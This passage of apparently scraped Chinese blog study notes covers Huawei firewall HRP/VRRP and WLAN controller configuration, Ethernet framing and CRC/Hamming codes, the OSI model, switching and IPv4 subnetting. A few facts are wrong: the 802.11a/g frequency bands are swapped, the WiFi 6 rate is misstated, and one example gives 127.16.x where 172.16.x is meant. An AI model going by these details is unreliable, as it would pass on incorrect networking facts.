g1/0/2 remote 100.1.1.1[FW1]hrp interface g1/0/2 remote 100.1.1.2HRP_M[FW1-GigabitEthernet1/0/0]vrrp vrid 1 virtual-ip 20.1.1.254 active HRP_S[FW2-GigabitEthernet1/0/0]vrrp vrid 1 virtual-ip 20.1.1.254 standby HRP_M[FW1-GigabitEthernet1/0/1]vrrp vrid 1 virtual-ip 10.1.1.254 activeHRP_S[FW2-GigabitEthernet1/0/1]vrrp vrid 1 virtual-ip 10.1.1.254 standby HRP_M[FW1-policy-security]security-policy rule name PC_TO_R1 source-zone trust destination-zone untrust source-address 10.1.1.0 mask 255.255.255.0 destination-address 1.1.1.1 mask 255.255.255.255 action permit displayHRP_M[FW1]hrp switch active HRP_M[FW1]display hrp configuration check zone Info: You must run the check command to view the result. Module State Start-time End-time Result zone init HRP_M[FW1]display hrp configuration check all Info: You must run the check command to view the result. Module State Start-time End-time Result all init HRP_M[FW1]display hrp state Role: active, peer: standby (\"hrp switch active\" on this device) Running priority: 45001, peer: 45000 Backup channel usage: 0.00% Stable time: 0 days, 0 hours, 0 minutes Last state change information: 2024-03-14 8:05:36 HRP core state changed, old_state = abnormal(standby), new_state = abnormal(active), local_priority = 45001, peer_priority = 45000.HRP_M[FW1]display hrp interface GigabitEthernet1/0/2 : running----会话表是同步的HRP_M[FW1]dis firewall session table Current Total Sessions : 3 udp VPN: public --> public 100.1.1.2:16384 --> 100.1.1.1:18514 udp VPN: public --> public 100.1.1.2:49152 --> 100.1.1.1:18514 udp VPN: public --> public 100.1.1.1:49152 --> 100.1.1.2:18514HRP_M[FW1]dis firewall session table Current Total Sessions : 3 udp VPN: public --> public 100.1.1.2:16384 --> 100.1.1.1:18514 udp VPN: public --> public 100.1.1.2:49152 --> 100.1.1.1:18514 udp VPN: public --> public 100.1.1.1:49152 --> 100.1.1.2:18514-----HRP_M[FW1]display hrp ? configuration Check local configuration with remote firewall history-information Indicate HRP history information interface Indicate HRP backup channels infomation state Indicate the HRP status infomation statistic Indicate HRP statistic information 心跳线的冗余心跳线的冗余: 为了防止心跳线出现单点故障, 可以在防火墙之间连接多跟心跳线, 通过链路聚合的方式来实现链路冗余. HRP_M[FW1]interface Eth-Trunk 1HRP_M[FW1-Eth-Trunk1]trunkport GigabitEthernet 1/0/2 to 1/0/3HRP_M[FW1-Eth-Trunk1]mode lacp-staticHRP_M[FW1-Eth-Trunk1]ip add 100.1.1.1 24HRP_M[FW1]firewall zone HA HRP_M[FW1-zone-HA]add interface Eth-Trunk 1HRP_M[FW1]hrp interface Eth-Trunk 1 remote 100.1.1.2"},{"title":"","date":"2024-03-19T03:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/28.html","permalink":"https://blog.mhuig.top/notes/datacom/28","excerpt":"","text":"WLAN WLAN WLANWLAN: 无线局域网, 指的是无线技术构建的无线网络, 通过 WLAN 技术可以让用户随时随地的接入网络, 并且在 WLAN 覆盖的区域内实现自由移动, 摆脱有线网络的束缚. 广义上指的是, 无线电波, 激光, 红外线等无线信号来代替网络中部分或全部传输介质构成的网络. WLAN 的优点网络使用自由: 凡是自由空间均可以连接网络, 不受限于线缆和端口的位置. 网络部署灵活: 对于地铁, 公共交通监控等难以布线的场所. 采用 WLAN 进行无线网络覆盖, 免去了复杂的网络布线, 实施简单, 成本低, 扩展性好. IEEE802.11 Wi-Fi制定无线技术 (Wi-Fi) 的标准为 IEEE802.11, 是目前无线局域网内最广泛的技术. IEEE802.11 的标准和 Wi-Fi 的历史 IEEE802.11 第一个版本发表于 1997 年, 此后更多基于 IEEE802.11 的补充标准逐渐被定义. 标准类型: 802.11b,802.11a,802.11g,802.11n,802.11ac,802.11ax. 1997 年基于 IEEE802.11 使用的是 WIFI 1 (第一代),频率 2.4GHZ, 传输速率为 2Mbit / s. 1999 年基于 802.11b 使用的是 WIFI 2 (第二代),频率 2.4GHZ, 传输速率为 11Mbit / s. 2003 年基于 802.11a 和 802.11g 使用的是 WIFI 3, 传输速率为 54Mbit / s. 802.11a主要工作于2.4GHZ 802.11g主要工作于5GHZ 2009 年基于 802.11n 使用的是 WIFI 4, 可以工作于 2.4GHZ 和 5GHZ, 传输速率为 300Mbit / s. 2013 年基于 802.11ac wave1 使用的是 WIFI 5 技术, 工作于 5GHZ, 传输速率为 1300Mbit / s. 2015 年基于 802.11ac wave2 使用的是 WIFI 5 技术, 工作于 5GHZ, 传输速率为 6.9Gbit / s. 2018 年基于 802.11ax 使用的是 WIFI 6 技术, 工作于 5GHZ, 传输速率为 6.9Gbit / s. 无线组网的三大组件AP: 无线接入点 AC: 无线控制器 PoE 交换机: 通过以太网线为网络设备 (AP, 网络摄像头, IP 电话等等) 进行供电. WLAN 基本概念射频信号: 提供基于 802.11 标准的 WLAN 技术的传输介质, 是具有远距离传输能力的高频电磁波 STA: 工作站, 支持无线的工作设备 VAP: 虚拟接入点, 一个 VAP 就是一个无线业务, 一个 AP 可以提供多个 VAP, 多个 AP 也可以提供一个 VAP 功能 WLAN 的组网方式二层组网: 瘦 AP 和 AC 之间采用直连或者二层网络进行连接组网方式比较简单, 适用于临时组网. 三层组网: 瘦 AP 和 AC 之间为三层网络, AP 和 AC 不在同一个子网或同一个广播域中, 需要路由器或三层交换机进行数据转发. 在实际组网中, 一台 AC 可以连接几十台甚至上百台 AP,AP 布置在办公室等场所, AC 布置在机房, 因此大型的组网中一般采用三层组网. AC 的连接方式直连式组网: AC 在网络中充当着交换机的角色, AC 下游直接连接 AP, 所有的数据必须经过 AC 到达上层网络. 优点: 组网结构清晰, 组网实施简单 缺点: 整个网络的传输能力决定于 AC 性能 旁挂式组网: AC 旁挂在 AP 上行网络的直连链路上, AP 的业务可以不通过 AC 转发到网关. 优点: 易于网络扩展 缺点: 部署实施起来相对复杂 capwap无线接入点控制和配置协议, 是一个基于 UDP 的应用层协议, 即 AC 通过 capwap 隧道实现 AP 的集中管理和控制. 端口: 5246: 管理流量端口 5247: 业务数据流量端口 无线网络中的数据转发模式直接转发: 业务流量到达 AP 后将数据转发给汇聚交换机, 不需要 AC 来进行处理. 隧道转发: AP 和 AC 之间建立一个 capwap 虚拟隧道, 所有的无线的业务流量需要通过隧道到达 AC, 由 AC 转发给交换机. shell[AC6005]wlan[AC6005-wlan-view]regulatory-domain-profile name regpro[AC6005-wlan-regulate-domain-regpro]country-code CN //国家代码[AC6005]capwap source interface Vlanif 20[AC6005]wlan [AC6005-wlan-view]ap-group name apgp1 //AP组[AC6005-wlan-ap-group-apgp1]regulatory-domain-profile regpro //关联配置Warning: Modifying the country code will clear channel, power and antenna gain configurations of the radio and reset the AP. Continue?[Y/N]:y[AC6005-wlan-view]ap auth-mode mac-auth [AC6005-wlan-view]ap-id 1 ap-mac 00e0-fc3e-2980[AC6005-wlan-ap-1]ap-name AP1[AC6005-wlan-ap-1]ap-group apgp1Warning: This operation may cause AP reset. If the country code changes, it will clear channel, power and antenna gain configurations of the radio, Whether to continue? [Y/N]:yInfo: This operation may take a few seconds. Please wait for a moment.. done.[AC6005-wlan-view]ap-id 2 ap-mac 00e0-fcc4-0ca0[AC6005-wlan-ap-2]ap-name AP2[AC6005-wlan-ap-2]ap-group apgp1Warning: This operation may cause AP reset. If the country code changes, it will clear channel, power and antenna gain configurations of the radio, Whether to continue? [Y/N]:yInfo: This operation may take a few seconds. Please wait for a moment.. done.[AC6005-wlan-view]dis ap allInfo: This operation may take a few seconds. Please wait for a moment.done.Total AP information:nor : normal [2]-------------------------------------------------------------------------------------ID MAC Name Group IP Type State STA Uptime-------------------------------------------------------------------------------------1 00e0-fc3e-2980 AP1 apgp1 20.1.1.184 AP2050DN nor 0 2M:31S2 00e0-fcc4-0ca0 AP2 apgp1 20.1.1.60 AP2050DN nor 0 7S-------------------------------------------------------------------------------------Total: 2[AC6005-wlan-view]ssid-profile name ssidpro[AC6005-wlan-ssid-prof-ssidpro]ssid huaweiInfo: This operation may take a few seconds, please wait.done.[AC6005-wlan-view]security-profile name secpro[AC6005-wlan-sec-prof-secpro]security ? open Open system wapi WLAN authentication and privacy infrastructure wep Wired equivalent privacy wpa Wi-Fi protected access wpa-wpa2 Wi-Fi protected access version 1&2 wpa2 Wi-Fi protected access version 2 [AC6005-wlan-sec-prof-secpro]security wpa-wpa2 psk pass-phrase huawei123 aes[AC6005-wlan-view]vap-profile name vappro[AC6005-wlan-vap-prof-vappro]ssid-profile ssidproInfo: This operation may take a few seconds, please wait.done.[AC6005-wlan-vap-prof-vappro]security-profile secproInfo: This operation may take a few seconds, please wait.done.[AC6005-wlan-vap-prof-vappro]forward-mode tunnel [AC6005-wlan-vap-prof-vappro]service-vlan vlan-id 10Info: This operation may take a few seconds, please wait.done.[AC6005-wlan-view]ap-group name apgp1 [AC6005-wlan-ap-group-apgp1]vap-profile vappro wlan 1 radio 0"},{"title":"","date":"2023-12-04T02:02:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/4.html","permalink":"https://blog.mhuig.top/notes/datacom/4","excerpt":"","text":"以太网帧结构 以太网帧结构 协议一套约定俗成的特殊形式, 是设备与设备之间的语言, 固定格式化信息, 所有的设备根据协议的字段来理解报文的作用. 以太网协议分类： IEEE 802.3：一般应用于以太网的控制协议信息. 例如 STP 协议使用的是 802.3 的数据帧. Eternet_II：是目前以太网数据使用最多的帧格式. 以太网 MAC 地址F0-03-8C-XX-XX-XX MAC 地址: 一台物理设备唯一且不可更改的标识信息, 以十六进制表示的. OUI (厂商标识符): 前 24bit, 由 IEEE 管理和分配. RFC 7042 厂商自定义标识: 后 24bit, 由厂商自己分配. 单播 MAC 地址: 当第 8bit 为 0 时, 该地址为单播 MAC 地址. 当十六进制第二位为偶数时第八 bit 一定为 0. 组播 MAC 地址: 当第 8bit 为 1 时, 该地址为组播 MAC 地址. 组播 MAC 地址不能用作 源 MAC 地址, 不能给设备使用. 广播 MAC 地址: 当 48bit 全为 1 时, 该地址为广播 MAC 地址. 只有单播 MAC 地址可以作为设备的 MAC 地址使用, 作为源地址使用. 以太网帧格式 (Eternet_II) D.MAC (destination.MAC): 目的 MAC 地址 6 字节. S.MAC (source.MAC): 源 MAC 地址 6 字节. TYPE: 类型, 标识上层协议类型, 2 字节. 0x0800: IP 协议 0x0806: ARP 协议 DATA: 数据载荷 可变长度 46 字节 - 1500 字节. FCS(Frame Check Sequence): 帧校验序列, 判定数据帧在传递过程中的完整性 4 字节. 通信方式单播: 数据从某一台设备单独发送给另一台设备其他设备并接收处理. 组播: 数据发向某一个特定的分组, 只有在组内的设备才能够监听处理, 没有监听该组的设备无法收到数据. 广播: 数据发向广播地址, 该数据会被网络中所有的设备接收处理 数据帧的发送和接收发送端数据由发送端进行封装, 在数据封装成帧时, 会在数据帧的头部添加目的 MAC 和源 MAC, 将上层的封装协议在 TYPE 字段标明, 随后对数据帧进行计算将得出的值放置在 FCS 字段中, 随后发送出去. 接收端接收一个数据帧时, 首先核对帧校验, 以确保数据完整性, 在 FCS 通过后, 查看目的 MAC 地址, 当目的 MAC 地址与接收方 MAC 地址一致时, 或广播地址或自身所监听的组播 MAC 地址时, 才会处理该数据帧, 否则丢弃, 确认是自身所要处理的数据帧后, 会根据 TYPE 字段来确定后续的处理协议. 透明传输指不管所传数据时什么样的比特组合, 都应当能够在链路上传送. 因此, 链路层就 \"看不见\" 有什么妨碍数据传输的东西. 当所传数据中的比特组合恰巧与某一个控制信息完全一样时, 就必须采取适当的措施, 使收方不会将这样的数据误认为是某种控制信息. 这样才能保证数据链路层的传输是透明的. 透明传输是指在数据通信中，传输过程对用户或应用程序是不可见的，即无需用户或应用程序的干预或感知，数据可以自动、无缝地从发送端传输到接收端。在透明传输中，用户或应用程序无需关心底层的通信细节和协议，只需使用高层的接口或 API 来发送和接收数据。 透明传输的目标是提供简化和方便的数据传输体验，使用户能够专注于数据的使用和处理，而无需了解底层的传输机制。透明传输可以在不同的通信网络和协议中实现，包括局域网、广域网、互联网等。 字符计数法帧首部使用一个计数字段 (第一个字节, 8 位) 来标明帧内字符数 由于 count 字段的脆弱性, 容易出错, 不常用. 字符填充法SOH 00000001 帧开始符 （Start of Header） EOT 00000100 帧结束符 （End of Transmission） 非 ASCII 采用字符填充法实现透明传输 ESC EOT 填充转义字符 (ESC) 实现复杂和不兼容性, 不常用. eg. PPP 字节填充 RFC 1662 零比特填充法01111110 ......... 01111110 发送端, 扫描整个信息字段, 只要有连续 5 个连续 1 就立即填入 1 个 0. 接收端, 收到一个帧时, 先找到标志字段确定边界, 再用硬件对比特流进行扫描, 发现连续 5 个 1 就把后面的 0 删掉. 保证了透明传输: 在传送的比特流中可以传送任意比特组合, 而不引起对帧边界的判断错误. 违规编码法曼切斯特编码 \"高 - 低\",\"低 - 高\" 用 \"高 - 高\",\"低 - 低\" 来定界帧的起始和终止 普遍使用的帧同步法是 比特填充法和违规编码法. 差错控制差错从何而来 线路本身电气特性产生的随机噪声, 信道固有, 随机存在 (提高信噪比减少或避免干扰) 外界特定的短暂原因造成的冲击噪声是产生差错的主要原因 (利用编码技术来解决) 位错 (bit 位出错 0 变 1 1 变 0)帧错 (丢失, 重复, 失序) 检错编码 - 奇偶校验码奇校验码: \"1\" 的个数为奇数偶校验码: \"1\" 的个数为偶数 只能检查出奇数个比特错误, 检错能力为 50%. 检错编码 - CRC 循环冗余码要传的数据 生成多项式 FCS 帧检验序列 / 冗余码 5 / 2 ..... 1 最终发送数据 5 + 1=6 接收的数据 生成多项式 6 / 2 ..... 0 余数为 0, 判定无错, 接受 准备待传有效数据 分组 d d d d d d 每个组都加上冗余码构成帧再发送 d 位 + r 位 FCS 双方商定的除数 / 生成多项式 r + 1 位 1101 FCS 帧检验序列计算方式: 模二 A.K.A 异或 (同 0 异 1) d 位 + r 位 0 / 生成多项式 = 商 ..... r 位 FCS 例子要发送的数据 1101 0110 11 CRC 校验 生成多项式 10011 加 0 生成多项式的阶为 r, 则加 r 个 0 (多项式 r 位阶为 r-1) 10011 生成多项式 阶为 4 模 2 除法 数据加 0 后除以多项式, 余数为冗余码/FCS/CRC 校验码的比特序列 1101 0110 11 0000 / 10011 余数 1110 最终发送数据 1101 0110 11 1110 接收端检错过程 把收到的每一个帧都除以同样的除数, 然后检查得到余数 R. 余数为 0, 判定帧没有差错, 接受. 余数不为 0, 判定帧有差错, 丢弃. FCS 的生成以及接收端的 CRC 检验都是由硬件实现, 处理迅速, 因此不会延误数据的传输. 链路层使用 CRC 检验能够实现无差错比特传输, 不能实现可靠传输 纠错码 - 海明码 确定校验码位数 r 确定校验码和数据的位置 求出校验码值 检错并纠错 海明距离两个合法编码 (码字) 的对应比特取值不同的比特数称为这两个码字的海明距离 (码距),一个有效编码集中, 任意两个合法编码 (码字) 的海明距离的最小值称为该编码集的海明距离 (码距). 1. 确定校验码位数 r数据/信息有 m 位, 冗余码/校验码有 r 位 校验码一共有 种取值 海明不等式 要发送的数据: D = 1100 数据的位数 m = 4满足不等式的最小 r 为 3D = 1100 的海明码应该有 4 + 3=7 位其中原数据 4 位, 校验码 3 位 2. 确定校验码和数据的位置校验码放在序号为 的位置 序号 7 6 5 4 3 2 1值 1 1 0 x_4 0 x_2 x_1 3. 求出校验码值 1** *1* **1二进制 111 110 101 100 011 010 001序号 7 6 5 4 3 2 1值 1 1 0 x_4 0 x_2 x_1 4: 负责 4567 的校验 2: 负责 2367 的校验 1: 负责 1357 的校验 采用偶校验 x_4 = 0 x_2 = 0 x_1 = 1 1** *1* **1二进制 111 110 101 100 011 010 001序号 7 6 5 4 3 2 1值 1 1 0 0 0 0 1 4. 检错并纠错若接收数据 1110001 偶校验 4: 负责 4567 的校验 0111 x 2: 负责 2367 的校验 0011 v 1: 负责 1357 的校验 1011 x 错误位是 5 偶校验 (异或为 0) x_4 异或 0 异或 1 异或 1 异或 1 = 0 x_4 = 1 x_2: 0011 x_2=0 x_1: 1011 x_1=1 x_4 x_2 x_1 1 0 1 101 转十进制为 5 ,错误位是 5 流量控制方法停止等待协议每发送完一个帧就停止发送, 等待对方的确认, 在收到确认后再发送下一个帧 发送窗口大小 = 1 接收窗口大小 = 1 滑动窗口协议发送窗口 接收窗口 后退 N 帧协议 (GBN) 发送窗口大小 > 1 接收窗口大小 = 1 选择重传协议 (SR) 发送窗口大小 > 1 接收窗口大小 > 1 可靠传输: 发送端发啥接收端收啥 流量控制: 控制发送速率, 使接收方有足够缓冲空间接收每一个帧 滑动窗口解决 流量控制和可靠传输."},{"title":"","date":"2023-12-03T05:59:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/3.html","permalink":"https://blog.mhuig.top/notes/datacom/3","excerpt":"","text":"网络参考模型 网络参考模型 网络标准为什么制定网络标准: 20 世纪 60 年代, 计算机网络得到了飞速发展. 各大厂商和标准组织为了在数据通信领域占据主导地位, 纷纷推出了各自的网络架构体系和标准, 同时各大厂商根据这些标准生产不同的硬件和软件. 标准组织和厂商共同努力, 促进网络技术的快速发展. ISO(国际标准化组织): 在 1984 年提出了 OSI RM (开放系统互联参考模型) OSI 七层模型 应用层 APDU(PDU, 协议数据单元): 对应用程序提供接口, 使用户的数据入录或输出, 最接近用户的一层. 表示层 PPDU: 对数据格式转换, 可以对数据提供加密、解密、压缩和解压缩的操作. 会话层 SPDU: 在通信双方建立管理和终止会话. 传输层 Sgement(数据段): 维护端到端的连接, 流量控制. 网络层 Packet(数据包): 定义了逻辑地址实现了数据从源到目的的转发. 数据链路层 Frame(数据帧): 将数据封装成帧, 适应链路层地址在数据链路层上实现数据通信的寻址, 差错检测. 物理层 Bit(比特流): 规定设备间传输 bit 流, 规定传输介质、电平、速率和针脚等物理特性. 七层模型优点: 将服务, 接口和协议三个概念明确区分开, 理论比较完整, 通过七个层次化的结构使不同的系统之间实现可靠通信. 缺点: 过于理想化, 现实的生产环境比较少能用上, 既复杂又不实用, 运行效率低, 划分不合理. TCP / IP 标准模型应用层: 将 OSI 的上三层合并. 传输层: 不变. 因特网层: 重命名. 网络接入层: 将下两层合并. TCP / IP 对等模型应用层: 将 OSI 的上三层合并. 传输层 网络层 数据链路层 物理层"},{"title":"","date":"2023-12-05T01:30:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/5.html","permalink":"https://blog.mhuig.top/notes/datacom/5","excerpt":"","text":"交换网络基础 交换网络基础 交换网络交换网络: 由交换机所构成的网络. 交换机: 工作在二层的全双工设备, 能够处理数据帧并且能够根据数据帧的头部进行数据的转发, 通过设备之间的唯一信道转发解决了冲突问题. 交换机的转发行为: 泛洪: 从某一接口接收的数据帧, 从除了收到数据帧的接口以外, 所有接口全部发送该数据帧. 当数据帧的目的 MAC 为广播 MAC 时. 当 MAC 地址表中没有数据帧中的 MAC 地址信息时. 转发: 从某一接口接收了数据帧, 从另一个接口发送. 当发送的数据帧目的 MAC 地址为单播 MAC 地址并且 MAC 地址表中有目的 MAC 地址与接口的映射关系. 丢弃: 从某一接口接收了数据帧, 要从该接口发送则丢弃. MAC 地址表MAC 地址表: 交换机的转发依据, 默认状态下, 交换机的 MAC 地址表为空. MAC 接口 F0-03-8C-XX-XX-XX G0/0/1 学习MAC 地址表的学习: 当交换机从某一个接口收到数据帧时, 会将数据帧中的源 MAC 地址和接收该数据帧的端口记录到 MAC 地址表中. MAC 地址表中不会出现组播 MAC 和广播 MAC. 如果交换机的接口上接了一个 HUB 集线器, HUB 接两个 PC, MAC 地址表会学习一个接口上的两个 MAC 地址, 两条信息. 如果一个 PC 上接了一个 HUB 集线器, HUB 接两个交换机接口, 会产生冲突域, MAC 地址表不会在两个接口发现同一个 MAC 地址. 一个端口下可以学习多个 MAC 地址, 但一个 MAC 地址只能对应一个端口. 老化MAC 地址表的老化: 在计时器范围内没有再次收到数据帧刷新 MAC 地址表项, 则交换机会删除对应的表项. 老化时间: 300s 如果接收的数据帧的端口和记录的端口不同, 则会迅速老化原来的表项, 生成新的表项. 刷新交换机 MAC 地址表刷新: 当交换机已经存在 MAC 地址时, 再次收到数据帧, 则会刷新 MAC 地址表的计时器."},{"title":"","date":"2023-12-06T01:30:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/6.html","permalink":"https://blog.mhuig.top/notes/datacom/6","excerpt":"","text":"IP 编址 IP 编址 IPIP: 网际协议, 网络层协议, 用来为网络中设备分配逻辑地址. 网络层的逻辑地址就是 IP 地址, IP 地址是可以更改的, 当设备在不同网络中, 根据所处网络的不同发生变化, 在同一个网络内必须保证唯一性. 设备有了 IP 地址后, 就可以在网络中进行通信. IP 报文头部RFC 791 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|Version| IHL |Type of Service| Total Length |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Identification |Flags| Fragment Offset |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Time to Live | Protocol | Header Checksum |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Source Address |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Destination Address |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Options | Padding |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Example Internet Datagram Header 基本信息行Version: 版本, 4bit, 用来标明当前 IP 协议的版本, 如果当前报文在 IPv4 时, 则该字段的值为 4(0b0100) IHL: IP 头部长度, 4bit, 范围 20-60 字节, 每个单位代表 4 字节 , 字节 字节 , 字节 字节 字节长度取值一定是四的倍数. DS/TOS: 差分服务域, 服务类别, 8bit, 让特定的数据拥有更高的优先级. Total length: 数据包总长度, 16bit, 用于标识 IP 报文头部加数据载荷的长度, 最大 65535 字节. 分片行[MTU: 最大传输单元, 用于限制报文不被分片的最大字节, 默认情况下 MTU 值为 1500 字节.] ID: 标识, 16bit, 用于顺序 IP 报文, 同一个报文得到的分片信息中的 ID 相同. Flages: 标志位, 3bit. 最高位被保留, 固定为 0. 中间位为 DF 位: 如果置位为 1, 则表示该报文不能被分片. 最低位称为 more 位: 如果置位 1, 则表示后续还有分片报文. 如果报文大于 MTU 值并且 DF 置位, 直接丢弃. Offset: 13bit, 片偏移, 用于标识分片包在原始报文的位置. 片偏移指出: 较长的分组在分片后，某片在原分组中的相对位置。也就是说，相对于用户数据字段的起点，该片从何处开始。片偏移以 8 个字节为偏移单位。这就是说，每个分片的长度一定是 8 字节 (64 位) 的整数倍. 【例】一数据报的总长度为 3820 字节，其数据部分为 3800 字节长 (使用固定自部)，需要分片为长度不超过 1420 字节的数据报片。因固定首部长度为 20 字节，因此每个数据报片的数据部分长度不能超过 1400 字节。于是分为 3 个数据报片，具数据部分的长度分别为 1400 ，1400 和 1000 字节。原始数据报首部被复制为各数据报片的首部，但必须修以有关字段的值。下面给出分片后得出的结果 (请注意片偏移的数值)。 数据报 总长度 标识 MF DF 片偏移 原始数据报 3820 12345 0 0 0(0/8=0) 数据报片 1 1420 12345 1 0 0(0/8=0) 数据报片 2 1420 12345 1 0 175(1400/8=175) 数据报片 3 1020 12345 0 0 350(2800/8=350) 现在假定数据报片 2 经过某个网络时还需要再进行分片，即划分为数据报片 2-1 (携带数据 800 字节) 和数据报片 2-2 (携带数据 600 字节)。那么这两个数据报片的总长度、标识、MF、DF 和片偏移分别为: 820,12345,1,0,175; 620,12345,1,0,275。 功能行TTL: 生存周期, 8bit, 用来在 IP 报文转发过程中, 打破环路对网络的影响, 最大值 255, 会在数据包经过一次第三层转发时减 1. 当值为 0 时数据包被丢弃. Protocol: 8bit, 用于标明网络层处理完 IP 报文后, 需要交给上层的某个协议继续处理. 1: ICMP 6: TCP 17: UDP Header Checksum: 16bit, 首部校验和, 检测 IP 首部是否发生错误. 地址行SIP: 源 IP 地址, 32bit, 表明当前数据包从哪出发. DIP: 目的 IP 地址, 32bit, 表明当前数据包去往何处. 可选项Options: 可选项, 可变长度, 最大 40 字节. 军事或研究方向, 支持松散源路由, 严格源路由等等. IP 地址IP 地址: 用来标识网络中的一个节点或网络设备的接口, 总长度 32bit, 约 42.9 亿 (), 每个 IP 地址都由网络位和主机位组成. 网络位: 用来标明当前设备的网络位置. 主机位: 用来标明当前主机在当前网络中的位置. 网络掩码: 32bit, 由连续的 1 和 0 构成, 其中 1 标记的是网络位, 0 标记的是主机位. 网络地址: 当主机位全都为 0 时, 表示当前网络信息. 广播地址: 当主机位全都为 1 时, 表示当前网络范围内的广播地址. 可用地址: 可分配给网络中的节点或网络设备接口的地址. 一个网络内的可用 IP 地址 , 表示主机位的位数. 网络地址和广播地址不能直接被节点或网络设备所使用. IP 地址分类有类 IP 地址A: 第一个 bit 为 0, 并且掩码长度为 8. (0.0.0.0-127.255.255.255) B: 前两个 bit 为 10, 并且掩码长度为 16. (128.0.0.0-191.255.255.255) C: 前三个 bit 为 110, 并且掩码长度为 24. (192.0.0.0-223.255.255.255) D: 前四个 bit 为 1110, 组播地址. (224.0.0.0-239.255.255.255) E: 前四个 bit 为 1111. (240.0.0.0-255.255.255.255) 按照使用范围分类公有地址: 可以在公网范围内使用的地址. 私有地址: 可以在局域网中使用, 在不同的局域网中可以重复使用, 不能够被公网转发. 私有地址范围: A: 10.0.0.0-10.255.255.255 ; 10.0.0.0/8 B: 172.16.0.0-172.31.255.255 ; 172.16.0.0/12 C: 192.168.0.0-192.168.255.255 ; 192.168.0.0/16 IPv6 私有地址范围: fc00::/7 (ULAs，Unique Local Addresses) 特殊地址这类 IP 地址不能够给设备使用, 并且全部具有特定意义. 0.0.0.0: 当设备初次进入网络时, 会使用该地址. 特定场景下可以代表所有地址. 255.255.255.255: 全网广播地址, 可以向广播域内所有设备发送数据. 127.0.0.0-127.255.255.255: 本地环回测试地址, 检查本地网卡驱动是否正常. 进制转换十进制转二进制短除法 倒着写: 2|192 0 ---- 2|96 0 --- 2|48 0 --- 2|24 0 --- 2|12 0 --- 2|6 0 --- 2|3 1 -- 12|168 0 ---- 2|84 0 --- 2|42 0 --- 2|21 1 --- 2|10 0 --- 2|5 1 --- 2|2 0 -- 1 权重减法: 192-128=6464-64=01100 0000168-128=4040-32=88-8=01010 1000 二进制转十进制 256 128 64 32 16 8 4 2 1 IP 地址计算172.16.10.1/16 这个 B 类地址的网络地址, 广播地址, 可用地址数 IP 地址: 172.16.10.1 10101100 00010000 00001010 00000001 网络掩码: 255.255.0.0 11111111 11111111 00000000 00000000 网络地址: 127.16.0.0 10101100 00010000 00000000 00000000 广播地址: 127.16.255.255 10101100 00010000 11111111 11111111 IP 地址数: 可用 IP 地址数: 可用 IP 地址范围: 172.16.0.1-172.16.255.254 192.168.54.6/24网络地址: 192.168.54.0/24广播地址: 192.168.54.255/24IP地址数: 2^8=256可用IP地址数: 2^8-2=254可用IP地址范围: 192.168.54.1-192.168.54.254172.168.54.6 主类B /16网络地址: 172.168.0.0/16广播地址: 172.168.255.255/16IP地址数: 2^16=65536可用IP地址数: 2^16-2=65534可用IP地址范围: 172.168.0.1/16-172.168.255.254/16172.168.54.6 /22172.168.001101 10.6网络地址: 172.168.52.0/22广播地址: 172.168.55.255/22IP地址数: 2^10=1024可用IP地址数: 2^10-2=1022可用IP地址范围: 172.168.52.1/22-172.168.55.254/22 如果公司有 个人, 适合的掩码长度是 /26 11111111.11111111.11111111.11000000 255.255.255.192 10.1.56.6 /2810.1.56.0000 0110网络地址: 10.1.56.0/28广播地址: 10.1.56.15/28IP地址数: 2^4=16可用IP地址数: 2^4-2=14可用IP地址范围: 10.1.56.1/28-10.1.56.14/28192.172.168.169 /27192.172.168.101 01001网络地址: 192.172.168.160/27广播地址: 192.172.168.191/27IP地址数: 2^5=32可用IP地址数: 2^5-2=30可用IP地址范围: 192.172.168.161/27-192.172.168.190/27192.168.39.48 /19192.168.001 00111.48网络地址: 192.168.32.0/19广播地址: 192.168.63.255/19IP地址数: 2^13=8192可用IP地址数: 2^13-2=8190可用IP地址范围: 192.168.32.1/19-192.168.63.254/19192.168.56.9 /19192.168.001 11000.9网络地址: 192.168.32.0/19广播地址: 192.168.63.255/19IP地址数: 2^13=8192可用IP地址数: 2^13-2=8190可用IP地址范围: 192.168.32.1/19-192.168.63.254/19172.169.1.9 /6101011 00.169.1.9网络地址: 172.0.0.0/6广播地址: 175.255.255.255/6IP地址数: 2^26=67,108,864可用IP地址数: 2^26-2=67,108,862可用IP地址范围: 172.0.0.1/6-175.255.255.254/6 划分子网向主机位借位形成子网. 可变长子网掩码 VLSM [例] 有一个 C 类网络地址 192.168.1.0 / 24 ,使用可变长子网掩码给三个子网分别分配 IP 地址 10 台 8 台 5 台 方法 1: 4 个子网 00 000000 0/2601 000000 64/2610 000000 128/2611 000000 192/26 方法 2: 16 个子网 0000 0000 0001 0000 .... [例] 192.168.1.2 / 24 (主机位 8)共有 25 个地址需求求子网网络号, 掩码. 广播地址, 可划分子网数 2^h-2>=25h>=5 主机位 5n=3可划分2^3=8个子网掩码255.255.255.111 00000255.255.255.224/27子网网络号192.168.1.000 00000 192.168.1.0/27192.168.1.001 00000 192.168.1.32/27192.168.1.010 00000 192.168.1.64/27192.168.1.011 00000 192.168.1.96/27192.168.1.100 00000 192.168.1.128/27192.168.1.101 00000 